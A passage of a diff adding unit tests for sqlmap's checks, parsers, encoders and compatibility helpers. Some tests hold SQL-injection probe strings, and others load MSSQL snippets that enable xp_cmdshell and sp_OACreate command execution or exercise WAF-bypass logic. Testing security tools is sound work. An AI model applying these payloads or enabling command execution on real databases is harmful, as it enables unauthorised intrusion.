self._patchQueryPage(self._contentQuery("SECOND")) + replies = iter(["S", "MATCHME"]) + checks.readInput = lambda *a, **kw: next(replies) + checks.checkStability() + self.assertEqual(conf.string, "MATCHME") + + +class TestCheckNullConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckNullConnection, self).setUp() + conf.data = None + kb.pageCompress = False + kb.nullConnection = None + + def test_post_data_disables_null_connection(self): + conf.data = "a=b" + self.assertFalse(checks.checkNullConnection()) + + def test_head_content_length(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {HTTP_HEADER.CONTENT_LENGTH: "1234"}, 200) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.HEAD) + + def test_range_content_range(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {}, 200) # no Content-Length on HEAD + if kw.get("auxHeaders"): + return ("A", {HTTP_HEADER.CONTENT_RANGE: "bytes 0-0/100"}, 206) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.RANGE) + + def test_not_supported(self): + # nothing usable on any method -> nullConnection ends up False + self._patchGetPage(lambda *a, **kw: ("xx", {}, 200)) + self.assertFalse(checks.checkNullConnection()) + self.assertFalse(kb.nullConnection) + + +class TestCheckConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckConnection, self).setUp() + conf.hostname = "1.2.3.4" # dotted-quad -> no DNS resolution + conf.string = conf.regexp = None + conf.cj = None + conf.ignoreCode = None + kb.httpErrorCodes = {} + checks.wasLastResponseHTTPError = lambda: False + checks.wasLastResponseDBMSError = lambda: False + td = getCurrentThreadData() + td.lastPage = "PAGE CONTENT" + td.lastCode = 200 + + class _Headers(object): + headers = "Server: test\r\n" + + def test_success_sets_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("PAGE CONTENT", self._Headers(), 200)) + self.assertTrue(checks.checkConnection()) + self.assertTrue(kb.errorIsNone) + self.assertEqual(kb.originalPage, "PAGE CONTENT") + + def test_dbms_error_clears_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("oops SQL error", self._Headers(), 200)) + checks.wasLastResponseDBMSError = lambda: True + self.assertTrue(checks.checkConnection()) + self.assertFalse(kb.errorIsNone) + + def test_string_not_in_response_still_continues(self): + conf.string = "NEEDLE-NOT-PRESENT" + self._patchQueryPage(lambda *a, **kw: ("haystack only", self._Headers(), 200)) + # warns but carries on (returns True) + self.assertTrue(checks.checkConnection()) + + +class TestCheckWaf(_ChecksTestBase): + def setUp(self): + super(TestCheckWaf, self).setUp() + conf.string = conf.notString = conf.regexp = None + conf.dummy = conf.offline = conf.skipWaf = None + kb.originalCode = 200 + kb.originalPage = "page" + conf.parameters = {PLACE.GET: "id=1"} + kb.resendPostOnRedirect = False + conf.timeout = 30 + kb.identifiedWafs = [] + conf.tamper = None + kb.tamperFunctions = [] + checks.agent.addPayloadDelimiters = lambda v: v + + def test_skips_when_string_set(self): + conf.string = "x" + self.assertIsNone(checks.checkWaf()) + + def test_not_detected_on_high_ratio(self): + # queryPage()[1] is the ratio; high ratio -> not blocked + self._patchQueryPage(lambda *a, **kw: ("ok", 0.9, 200)) + self.assertFalse(checks.checkWaf()) + + def test_detected_on_low_ratio(self): + self._patchQueryPage(lambda *a, **kw: ("blocked", 0.1, 403)) + checks.readInput = lambda *a, **kw: True # continue + accept bypass + import lib.utils.wafbypass as wafbypass + orig = wafbypass.neutralizeFingerprint + wafbypass.neutralizeFingerprint = lambda: None + try: + self.assertTrue(checks.checkWaf()) + finally: + wafbypass.neutralizeFingerprint = orig + + +class TestCheckInternet(_ChecksTestBase): + def test_internet_available(self): + self._patchGetPage(lambda *a, **kw: ("ok", None, checks.CHECK_INTERNET_CODE)) + self.assertTrue(checks.checkInternet()) + + def test_internet_unavailable(self): + self._patchGetPage(lambda *a, **kw: ("captive portal", None, 500)) + self.assertFalse(checks.checkInternet()) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common_parsers.py b/tests/test_common_parsers.py new file mode 100644 index 000000000..4c2882990 --- /dev/null +++ b/tests/test_common_parsers.py @@ -0,0 +1,466 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Pure / near-pure parsers and state helpers in lib/core/common.py that are NOT +already exercised by tests/test_common_utils.py. + +Covered here: + * proxy-log parsers reached through parseRequestFile() + (_parseBurpLog plain log, _parseBurpLog Burp XML history, _parseWebScarabLog) + * parseTargetDirect() non-smoke branch (driver resolution for SQLite) + * removeReflectiveValues() reflected-payload masking + * findPageForms() HTML
and inline JS POST discovery + * saveConfig() .ini serialization + * getSQLSnippet() proc-file loading + variable substitution + * checkSystemEncoding() (no-op on a normal default encoding) + * Format.getOs() fingerprint humanizer + * Backend setters/getters (setOs/getOs, setOsVersion, setOsServicePack, + setVersion/getVersion/setVersionList) + * urlencode() extra branches (LIKE percent-encoding, convall, limit, direct) + * safeStringFormat() extra branches (PAYLOAD_DELIMITER region, scalar percent) + +Everything is run in isolation (no network, no DBMS). Any function that +reads/writes global conf/kb/Backend state has that state saved and restored +around the call so test ordering stays irrelevant. Temp files go to the +session scratchpad and are removed. +""" + +import os +import sys +import base64 +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import ( + parseRequestFile, + parseTargetDirect, + removeReflectiveValues, + findPageForms, + saveConfig, + getSQLSnippet, + checkSystemEncoding, + urlencode, + safeStringFormat, + Format, + Backend, +) +from lib.core.data import kb, conf +from lib.core.enums import DBMS, HTTPMETHOD +from lib.core.settings import REFLECTED_VALUE_MARKER, PAYLOAD_DELIMITER + +SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" + + +def _write_temp(content, suffix): + """Write `content` (str) to a scratchpad temp file, return its path.""" + if not os.path.isdir(SCRATCH): + os.makedirs(SCRATCH) + handle, path = tempfile.mkstemp(suffix=suffix, dir=SCRATCH) + os.write(handle, content.encode("utf-8") if isinstance(content, str) else content) + os.close(handle) + return path + + +class TestParseRequestFileBurp(unittest.TestCase): + """_parseBurpLog via parseRequestFile (plain '=====' log + Burp XML history).""" + + def setUp(self): + self._scope = conf.scope + self._method = conf.method + self._headers = conf.headers + conf.scope = None + + def tearDown(self): + conf.scope = self._scope + conf.method = self._method + conf.headers = self._headers + + def test_plain_burp_log_get(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "Cookie: PHPSESSID=abc\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertIsNone(data) + self.assertEqual(cookie, "PHPSESSID=abc") + self.assertIn(("Host", "www.target.com"), headers) + + def test_burp_xml_history_base64_request(self): + req = "GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\nCookie: SID=xyz\r\n\r\n" + b64 = base64.b64encode(req.encode()).decode() + xml = ('80' + '' + '' % b64) + path = _write_temp(xml, ".xml") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertEqual(cookie, "SID=xyz") + + def test_post_body_captured(self): + content = ( + "======================================================\n" + "POST http://www.target.com:80/login HTTP/1.1\n" + "Host: www.target.com\n" + "Content-Length: 17\n" + "\n" + "user=admin&pw=1\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(method, HTTPMETHOD.POST) + self.assertEqual(data, "user=admin&pw=1") + + def test_scope_filters_out_nonmatching(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + conf.scope = r"example\.org" # does not match target.com + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseRequestFileWebScarab(unittest.TestCase): + """_parseWebScarabLog via parseRequestFile.""" + + def setUp(self): + self._scope = conf.scope + conf.scope = None + + def tearDown(self): + conf.scope = self._scope + + def test_get_conversation(self): + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/vuln.php?id=1\n" + "METHOD: GET\n" + "COOKIE: SID=abc\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com/vuln.php?id=1") + self.assertEqual(method, "GET") + self.assertIsNone(data) + self.assertEqual(cookie, "SID=abc") + self.assertEqual(headers, tuple()) + + def test_post_conversation_skipped(self): + # POST bodies live in separate files -> WebScarab POSTs are skipped + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/login\n" + "METHOD: POST\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseTargetDirectNonSmoke(unittest.TestCase): + """parseTargetDirect() non-smoke branch: resolves the canonical DBMS name. + + Uses SQLite because its driver (stdlib sqlite3) is always importable. + """ + + _KEYS = ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port") + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._KEYS} + self._smoke = kb.smokeMode + self._params_none = conf.parameters.get(None) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.smokeMode = self._smoke + if self._params_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = self._params_none + + def test_sqlite_local_dsn(self): + kb.smokeMode = False + conf.direct = "sqlite://%s" % os.path.join(SCRATCH, "test.db") + parseTargetDirect() + # non-smoke path canonicalizes the DBMS name via DBMS_DICT + self.assertEqual(conf.dbms, DBMS.SQLITE) + # local file DBMS: hostname forced to localhost, port 0 + self.assertEqual(conf.hostname, "localhost") + self.assertEqual(conf.port, 0) + self.assertEqual(conf.parameters[None], "direct connection") + + +class TestRemoveReflectiveValues(unittest.TestCase): + def setUp(self): + self._mech = kb.reflectiveMechanism + self._heur = kb.heuristicMode + kb.reflectiveMechanism = True + kb.heuristicMode = False + + def tearDown(self): + kb.reflectiveMechanism = self._mech + kb.heuristicMode = self._heur + + def test_reflected_payload_masked(self): + content = u"You searched for 1 AND 1=2 here" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn("AND 1=2", out) + + def test_no_reflection_returns_content_unchanged(self): + content = u"nothing interesting" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertEqual(out, content) + + def test_none_payload_returns_content(self): + content = u"x" + self.assertEqual(removeReflectiveValues(content, None), content) + + def test_bytes_content_returned_as_is(self): + # non-text content short-circuits (isinstance text_type check) + content = b"1 AND 1=2" + self.assertEqual(removeReflectiveValues(content, "1 AND 1=2"), content) + + +class TestFindPageForms(unittest.TestCase): + def setUp(self): + self._scope = conf.scope + self._crawlExclude = conf.crawlExclude + self._cookie = conf.cookie + conf.scope = None + conf.crawlExclude = None + conf.cookie = None + + def tearDown(self): + conf.scope = self._scope + conf.crawlExclude = self._crawlExclude + conf.cookie = self._cookie + + def test_post_form_discovered(self): + html = ('' + '' + '
') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(forms, set([("http://www.site.com/input.php", "POST", "id=1", None, None)])) + + def test_get_form_discovered(self): + html = ('
' + '' + '
') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(len(forms), 1) + url, method, data, _cookie, _ = list(forms)[0] + self.assertEqual(method, "GET") + self.assertIn("q=x", url) + + def test_inline_js_post_discovered(self): + # the `.post('url', {k: v})` regex branch (independent of HTML form parsing) + html = "" + forms = findPageForms(html, "http://www.site.com") + self.assertTrue(any(m == HTTPMETHOD.POST and u.endswith("/api/save") for (u, m, d, c, e) in forms)) + + def test_blank_content_returns_empty_set(self): + self.assertEqual(findPageForms("", "http://www.site.com"), set()) + + +class TestSaveConfig(unittest.TestCase): + def test_writes_ini_with_sections(self): + path = _write_temp("", ".ini") + try: + saveConfig(conf, path) + with open(path) as f: + data = f.read() + finally: + os.unlink(path) + + # optDict families become [Section] headers + self.assertIn("[Target]", data) + self.assertIn("[Request]", data) + self.assertIn("[Enumeration]", data) + self.assertTrue(len(data) > 0) + + +class TestGetSQLSnippet(unittest.TestCase): + def test_mssql_proc_loaded(self): + snippet = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + self.assertIn("RECONFIGURE", snippet) + + def test_variable_substitution(self): + # %VAR% placeholders are substituted from kwargs (here %ENABLE%); + # supplying it avoids the interactive "provide substitution values" prompt. + snippet = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE="1") + self.assertIn("xp_cmdshell", snippet) + self.assertIn("RECONFIGURE", snippet) + # comments (#...) are stripped and the placeholder is fully resolved + self.assertNotIn("#", snippet) + self.assertNotIn("%ENABLE%", snippet) + + +class TestCheckSystemEncoding(unittest.TestCase): + def test_noop_on_normal_encoding(self): + # On a normal default encoding this is a no-op and must not raise. + self.assertIsNone(checkSystemEncoding()) + + +class TestFormatGetOs(unittest.TestCase): + def setUp(self): + self._api = conf.api + conf.api = False + + def tearDown(self): + conf.api = self._api + + def test_humanizes_type_and_technology(self): + info = { + "type": set(["Linux"]), + "distrib": set(["Ubuntu"]), + "release": set(["8.10"]), + "technology": set(["PHP 5.2.6", "Apache 2.2.9"]), + } + out = Format.getOs("back-end DBMS", info) + self.assertTrue(out.startswith("back-end DBMS operating system: Linux")) + self.assertIn("Ubuntu", out) + self.assertIn("8.10", out) + self.assertIn("web application technology:", out) + + def test_api_mode_returns_dict(self): + orig = conf.api + try: + conf.api = True + info = {"type": set(["Windows"]), "technology": set(["IIS"])} + out = Format.getOs("back-end DBMS", info) + self.assertIsInstance(out, dict) + self.assertIn("web application technology", out) + finally: + conf.api = orig + + +class TestBackendSetters(unittest.TestCase): + """Backend OS/version setters write kb state; save and restore it.""" + + _KEYS = ("os", "osVersion", "osSP", "dbmsVersion") + + def setUp(self): + self._saved = {k: kb.get(k) for k in self._KEYS} + + def tearDown(self): + for k, v in self._saved.items(): + kb[k] = v + + def test_set_get_os(self): + kb.os = None + self.assertEqual(Backend.setOs("windows"), "Windows") # capitalized + self.assertEqual(Backend.getOs(), "Windows") + + def test_set_os_none_returns_none(self): + self.assertIsNone(Backend.setOs(None)) + + def test_set_os_version(self): + kb.osVersion = None + Backend.setOsVersion("2008") + self.assertEqual(Backend.getOsVersion(), "2008") + + def test_set_os_service_pack(self): + kb.osSP = None + Backend.setOsServicePack(3) + self.assertEqual(Backend.getOsServicePack(), 3) + + def test_set_get_version(self): + kb.dbmsVersion = [] + self.assertEqual(Backend.setVersion("5.7"), ["5.7"]) + self.assertEqual(Backend.getVersion(), "5.7") + + def test_set_version_list(self): + kb.dbmsVersion = [] + Backend.setVersionList(["8.0", "8.1"]) + self.assertEqual(Backend.getVersionList(), ["8.0", "8.1"]) + + +class TestUrlencodeExtraBranches(unittest.TestCase): + def test_like_percent_encoded(self): + # '%' inside a LIKE '...' literal is encoded to %25 + self.assertEqual(urlencode("AND name LIKE '%DBA%'"), + "AND%20name%20LIKE%20%27%25DBA%25%27") + + def test_convall_drops_safe_set(self): + self.assertEqual(urlencode("a&b", convall=True), "a%26b") + + def test_limit_does_not_crash_on_long_input(self): + out = urlencode("x " * 4000, limit=True) + self.assertTrue(len(out) > 0) + + def test_direct_mode_returns_value_unchanged(self): + orig = conf.direct + try: + conf.direct = "mysql://u:p@h:3306/d" + self.assertEqual(urlencode("a b"), "a b") + finally: + conf.direct = orig + + +class TestSafeStringFormatExtraBranches(unittest.TestCase): + def test_percent_d_in_payload_region_becomes_string(self): + fmt = "SELECT %s" + PAYLOAD_DELIMITER + " AND %d " + PAYLOAD_DELIMITER + self.assertEqual( + safeStringFormat(fmt, ("a", "5")), + "SELECT a" + PAYLOAD_DELIMITER + " AND 5 " + PAYLOAD_DELIMITER) + + def test_scalar_string_percent_preserved(self): + # single-string param path: plain replace, embedded '%' survives + self.assertEqual(safeStringFormat("LIKE %s", "100%done"), "LIKE 100%done") + + def test_two_params_list(self): + self.assertEqual(safeStringFormat("%s/%s", ("a", "b")), "a/b") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common_utils.py b/tests/test_common_utils.py new file mode 100644 index 000000000..9faa815f7 --- /dev/null +++ b/tests/test_common_utils.py @@ -0,0 +1,340 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Pure / near-pure helpers in lib/core/common.py. + +These cover the request/parameter parsing, charset construction, limit-range +generation, safe string formatting, URL encoding, UNION page parsing, target +URL/direct-connection parsing and SQL identifier quoting. They are exercised +in isolation (no network, no DBMS, no filesystem mutation); any function that +reads/writes global conf/kb state has that state saved and restored around the +call so test ordering stays irrelevant. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.common import ( + paramToDict, + getCharset, + getLimitRange, + parseUnionPage, + safeStringFormat, + urlencode, + parseTargetUrl, + parseTargetDirect, + safeSQLIdentificatorNaming, + getPartRun, + getText, +) +from lib.core.data import kb, conf +from lib.core.enums import PLACE, CHARSET_TYPE, DBMS + + +class TestParamToDict(unittest.TestCase): + """Parameter string -> OrderedDict for the various injection places.""" + + def test_get_two_params(self): + result = paramToDict(PLACE.GET, "id=1&name=foo") + self.assertEqual(list(result.items()), [("id", "1"), ("name", "foo")]) + + def test_get_preserves_order(self): + result = paramToDict(PLACE.GET, "c=3&a=1&b=2") + self.assertEqual(list(result.keys()), ["c", "a", "b"]) + + def test_post_place(self): + result = paramToDict(PLACE.POST, "user=admin&pass=secret") + self.assertEqual(result["user"], "admin") + self.assertEqual(result["pass"], "secret") + + def test_empty_value(self): + result = paramToDict(PLACE.GET, "id=&name=x") + self.assertEqual(result["id"], "") + self.assertEqual(result["name"], "x") + + def test_value_with_equal_signs(self): + # value is re-joined on '=' so embedded '=' survives + result = paramToDict(PLACE.GET, "token=a=b=c") + self.assertEqual(result["token"], "a=b=c") + + def test_cookie_delimiter(self): + # COOKIE place splits on ';' rather than '&' + result = paramToDict(PLACE.COOKIE, "foo=bar;baz=qux") + self.assertEqual(list(result.items()), [("foo", "bar"), ("baz", "qux")]) + + def test_param_without_equals_ignored(self): + # an element with no '=' has len(parts) < 2 and is skipped + result = paramToDict(PLACE.GET, "lonely&id=1") + self.assertEqual(list(result.items()), [("id", "1")]) + + +class TestGetCharset(unittest.TestCase): + """Inference charsets are fixed integer tables.""" + + def test_binary(self): + self.assertEqual(getCharset(CHARSET_TYPE.BINARY), [0, 1, 47, 48, 49]) + + def test_default_is_full_ascii(self): + self.assertEqual(getCharset(None), list(range(0, 128))) + + def test_digits(self): + result = getCharset(CHARSET_TYPE.DIGITS) + self.assertEqual(result, list(range(0, 10)) + list(range(47, 58))) + + def test_alpha_has_no_digits(self): + result = getCharset(CHARSET_TYPE.ALPHA) + # ASCII codes for '0'..'9' are 48..57; ALPHA must exclude them + self.assertFalse(any(48 <= _ <= 57 for _ in result)) + self.assertIn(ord("A"), result) + self.assertIn(ord("z"), result) + + def test_alphanum_superset_of_alpha(self): + alpha = set(getCharset(CHARSET_TYPE.ALPHA)) + alphanum = set(getCharset(CHARSET_TYPE.ALPHANUM)) + self.assertTrue(alpha.issubset(alphanum)) + self.assertIn(ord("5"), alphanum) + + def test_hexadecimal_contains_hex_letters(self): + result = getCharset(CHARSET_TYPE.HEXADECIMAL) + for ch in "0123456789abcdefABCDEF": + self.assertIn(ord(ch), result, msg="missing %r" % ch) + + +class TestGetLimitRange(unittest.TestCase): + def test_basic(self): + self.assertEqual(list(getLimitRange(10)), list(range(0, 10))) + + def test_plus_one(self): + self.assertEqual(list(getLimitRange(3, plusOne=True)), [1, 2, 3]) + + def test_string_count_coerced(self): + # count is int()-coerced internally + self.assertEqual(list(getLimitRange("4")), [0, 1, 2, 3]) + + def test_length(self): + self.assertEqual(len(getLimitRange(7)), 7) + + +class TestParseUnionPage(unittest.TestCase): + def test_none(self): + self.assertIsNone(parseUnionPage(None)) + + def test_two_entries(self): + page = "%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop) + # returns a BigArray; compare element-wise + self.assertEqual(list(parseUnionPage(page)), ["foo", "bar"]) + + def test_single_entry_unwrapped(self): + # a lone wrapped string is returned as the bare string, not a 1-element list + page = "%shello%s" % (kb.chars.start, kb.chars.stop) + self.assertEqual(parseUnionPage(page), "hello") + + def test_multi_column_row(self): + # a single row whose values are joined by kb.chars.delimiter becomes one + # nested list entry + page = "%sa%sb%s" % (kb.chars.start, kb.chars.delimiter, kb.chars.stop) + self.assertEqual(list(parseUnionPage(page)), [["a", "b"]]) + + def test_unmarked_page_returned_verbatim(self): + self.assertEqual(parseUnionPage("no markers here"), "no markers here") + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic_tuple(self): + self.assertEqual(safeStringFormat("SELECT foo FROM %s LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar LIMIT 1") + + def test_literal_percent_preserved(self): + self.assertEqual( + safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1") + + def test_single_string_param(self): + self.assertEqual(safeStringFormat("a %s b", "X"), "a X b") + + def test_scalar_non_string(self): + self.assertEqual(safeStringFormat("n=%d", 5), "n=5") + + +class TestUrlencode(unittest.TestCase): + def test_basic(self): + self.assertEqual(urlencode("AND 1>(2+3)#"), "AND%201%3E%282%2B3%29%23") + + def test_none(self): + self.assertIsNone(urlencode(None)) + + def test_spaceplus(self): + self.assertEqual(urlencode("a b", spaceplus=True), "a+b") + + def test_convall_encodes_safe_chars(self): + # with convall the explicit 'safe' set is dropped, so '/' gets encoded + self.assertEqual(urlencode("a/b", convall=True), "a%2Fb") + + def test_safe_char_default_kept(self): + # by default '-' and '_' are in the safe set + self.assertEqual(urlencode("a-b_c"), "a-b_c") + + +class TestParseTargetUrl(unittest.TestCase): + """parseTargetUrl mutates conf.* in place; save and restore everything touched.""" + + def _save(self): + return {k: conf.get(k) for k in + ("url", "scheme", "path", "hostname", "port", "ipv6")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_https_url(self): + saved = self._save() + orig_params = conf.parameters.get(PLACE.GET) + try: + conf.url = "https://www.test.com/?id=1" + parseTargetUrl() + self.assertEqual(conf.hostname, "www.test.com") + self.assertEqual(conf.scheme, "https") + self.assertEqual(conf.port, 443) + self.assertEqual(conf.parameters[PLACE.GET], "id=1") + finally: + self._restore(saved) + if orig_params is None: + conf.parameters.pop(PLACE.GET, None) + else: + conf.parameters[PLACE.GET] = orig_params + + def test_scheme_defaulted_and_port(self): + saved = self._save() + try: + conf.url = "example.org:8080/app" + parseTargetUrl() + self.assertEqual(conf.hostname, "example.org") + self.assertEqual(conf.scheme, "http") + self.assertEqual(conf.port, 8080) + finally: + self._restore(saved) + + def test_empty_url_returns_none(self): + saved = self._save() + try: + conf.url = "" + self.assertIsNone(parseTargetUrl()) + finally: + self._restore(saved) + + +class TestParseTargetDirect(unittest.TestCase): + """parseTargetDirect under smokeMode (early-returns before driver imports).""" + + def _save(self): + return {k: conf.get(k) for k in + ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_full_mysql_dsn(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://root:testpass@127.0.0.1:3306/testdb" + parseTargetDirect() + self.assertEqual(conf.dbms, "mysql") + self.assertEqual(conf.dbmsUser, "root") + self.assertEqual(conf.dbmsPass, "testpass") + self.assertEqual(conf.dbmsDb, "testdb") + self.assertEqual(conf.hostname, "127.0.0.1") + self.assertEqual(conf.port, 3306) + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_quoted_password(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test" + parseTargetDirect() + self.assertEqual(conf.dbmsPass, "P@ssw0rd") + self.assertEqual(conf.hostname, "127.0.0.1") + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_empty_direct_returns_none(self): + saved = self._save() + try: + conf.direct = None + self.assertIsNone(parseTargetDirect()) + finally: + self._restore(saved) + + +class TestSafeSQLIdentificatorNaming(unittest.TestCase): + """Quoting of identifiers is DBMS-specific; drive it via kb.forcedDbms.""" + + def _run(self, dbms, name, **kw): + orig = kb.forcedDbms + try: + kb.forcedDbms = dbms + return getText(safeSQLIdentificatorNaming(name, **kw)) + finally: + kb.forcedDbms = orig + + def test_mssql_keyword_bracketed(self): + self.assertEqual(self._run(DBMS.MSSQL, "begin"), "[begin]") + + def test_plain_name_unquoted(self): + self.assertEqual(self._run(DBMS.MSSQL, "foobar"), "foobar") + + def test_firebird_name_with_space_double_quoted(self): + self.assertEqual(self._run(DBMS.FIREBIRD, "foo bar"), '"foo bar"') + + def test_mysql_keyword_backticked(self): + self.assertEqual(self._run(DBMS.MYSQL, "select"), "`select`") + + def test_oracle_keyword_uppercased(self): + # Oracle quotes AND uppercases reserved words + self.assertEqual(self._run(DBMS.ORACLE, "table"), '"TABLE"') + + def test_unsafe_naming_passthrough(self): + orig = conf.unsafeNaming + try: + conf.unsafeNaming = True + self.assertEqual(self._run(DBMS.MYSQL, "select"), "select") + finally: + conf.unsafeNaming = orig + + +class TestGetPartRun(unittest.TestCase): + def test_no_dbms_handler_in_stack(self): + # called from a test (no conf.dbmsHandler.* on the stack) -> None + self.assertIsNone(getPartRun()) + + def test_non_alias_form_also_none(self): + self.assertIsNone(getPartRun(alias=False)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_compat.py b/tests/test_compat.py new file mode 100644 index 000000000..69edf2e7a --- /dev/null +++ b/tests/test_compat.py @@ -0,0 +1,290 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/core/compat.py -- cross-version compatibility utilities, +including WichmannHill RNG, patchHeaders, cmp_to_key, LooseVersion, +MixedWriteTextIO, and _codecs_open. +""" + +import io +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.compat import (WichmannHill, patchHeaders, cmp, choose_boundary, + round, cmp_to_key, LooseVersion, _is_write_mode, + MixedWriteTextIO, _codecs_open, codecs_open) +from lib.core.compat import xrange + + +class TestWichmannHill(unittest.TestCase): + def test_seed_and_random(self): + r = WichmannHill(42) + self.assertIsInstance(r.random(), float) + self.assertGreaterEqual(r.random(), 0.0) + self.assertLess(r.random(), 1.0) + + def test_deterministic_seed(self): + r1 = WichmannHill(123) + r2 = WichmannHill(123) + # First random numbers should match + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + + def test_getstate_setstate(self): + r = WichmannHill(7) + for _ in range(20): + r.random() + state = r.getstate() + saved = [r.random() for _ in range(5)] + r.setstate(state) + self.assertEqual(saved, [r.random() for _ in range(5)]) + + def test_jumpahead(self): + r1 = WichmannHill(99) + r2 = WichmannHill(99) + for _ in range(10): + r1.random() + r2.jumpahead(10) + self.assertEqual(r1.getstate()[1], r2.getstate()[1]) + + def test_jumpahead_negative_raises(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.jumpahead(-1) + + def test_whseed(self): + # a fixed integer whseed must be deterministic across instances ... + r1 = WichmannHill() + r1.whseed(12345) + r2 = WichmannHill() + r2.whseed(12345) + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + # ... and pin the known sequence (hash(int) == int, so stable across processes) + r3 = WichmannHill() + r3.whseed(12345) + self.assertEqual([round(r3.random(), 6) for _ in range(3)], + [0.600031, 0.872148, 0.039151]) + + def test_whseed_none(self): + r = WichmannHill() + r.whseed() # seeds from current time; must not raise + # the time-derived seed must still drive a valid in-range sequence. (Non-determinism is NOT + # asserted here: __whseed() derives its seed from int(time.time()*256) masked to 24 bits, so + # two back-to-back instances legitimately collide - that would be a timing-fragile test. The + # os.urandom-backed seed() None path IS asserted non-deterministic in test_seed_none.) + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + # the seed must actually advance the generator (not stuck on a constant) + 